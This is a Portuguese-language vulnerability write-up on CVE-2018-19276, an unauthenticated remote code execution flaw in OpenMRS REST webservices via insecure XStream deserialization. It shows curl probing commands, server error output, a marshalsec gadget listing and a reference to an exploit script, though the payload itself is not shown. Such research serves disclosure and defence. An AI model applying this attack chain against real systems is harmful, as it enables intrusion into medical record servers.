
CVE-2018-19276 - OpenMRS Desserialização Insegura de Objetos RCE
De https://talk.openmrs.org/t/critical-security-advisory-cve-2018-19276-2019-02-04/21607
A desserialização insegura de objetos permite Execução Arbitrária de Código sem necessidade de login. As restrições de IP no módulo Webservices não impedem este ataque.

Descoberto por Nicolas Serra, Security Associate da Bishop Fox.
Vamos verificar como os webservices REST do OpenMRS funcionam usando a documentação oficial:
curl -u admin:test -i 'http://localhost:8080/openmrs/ws/rest/v1/concept'
Vamos verificar a correção:
Podemos encontrar esta informação:
https://github.com/openmrs/openmrs-module-webservices.rest/pull/369#issuecomment-443513473
Eles basicamente filtram o Content-type da requisição POST quando é XML, então talvez seja XXE ou uma Desserialização Insegura 👍
Vamos verificar a documentação novamente:

Bem, isso é interessante, o que acontece se enviarmos XML para o webservice REST?
> curl -i -s -k -X $'POST' -H $'Host: 127.0.0.1:8888' -H $'Content-Type: text/xml' $'http://127.0.0.1:8888/openmrs/ws/rest/v1/concept'
HTTP/1.1 500 Internal Server Error
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=A896A8B1B0092400DBF74E2E8C365949; Path=/openmrs; HttpOnly
Content-Type: application/json;charset=UTF-8
Content-Length: 8980
Date: Mon, 11 Mar 2019 12:58:30 GMT
Connection: close
{"error":{"message":"[ : input contained no data]","code":"com.thoughtworks.xstream.io.xml.XppReader:126","detail":"com.thoughtworks.xstream.io.StreamException: : input contained no data\n\tat com.thoughtworks.xstream.io.xml.XppReader.pullNextEvent(XppReader.java:126)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.readRealEvent(AbstractPullReader.java:148)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.readEvent(AbstractPullReader.java:141)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.move(AbstractPullReader.java:118)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.moveDown[...]
O erro nos dá algo muito interessante: xstream.XStreamMarshaller
Vamos tentar usar a ferramenta incrível marshalsec para disparar um RCE usando Desserialização Java.
Vamos verificar os gadgets disponíveis:
$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream -v
No gadget type specified, available are [SpringPartiallyComparableAdvisorHolder, SpringAbstractBeanFactoryPointcutAdvisor, Rome, XBean, Resin, CommonsConfiguration, LazySearchEnumeration, BindingEnumeration, ServiceLoader, ImageIO, CommonsBeanutils]
Neste ponto, eu apenas uso a busca do GitHub em cada gadget do XStream para encontrar uma ocorrência. Apenas o gadget ImageIO parece promissor:

Vamos tentar:

É isso!
python CVE-2018-19276.py
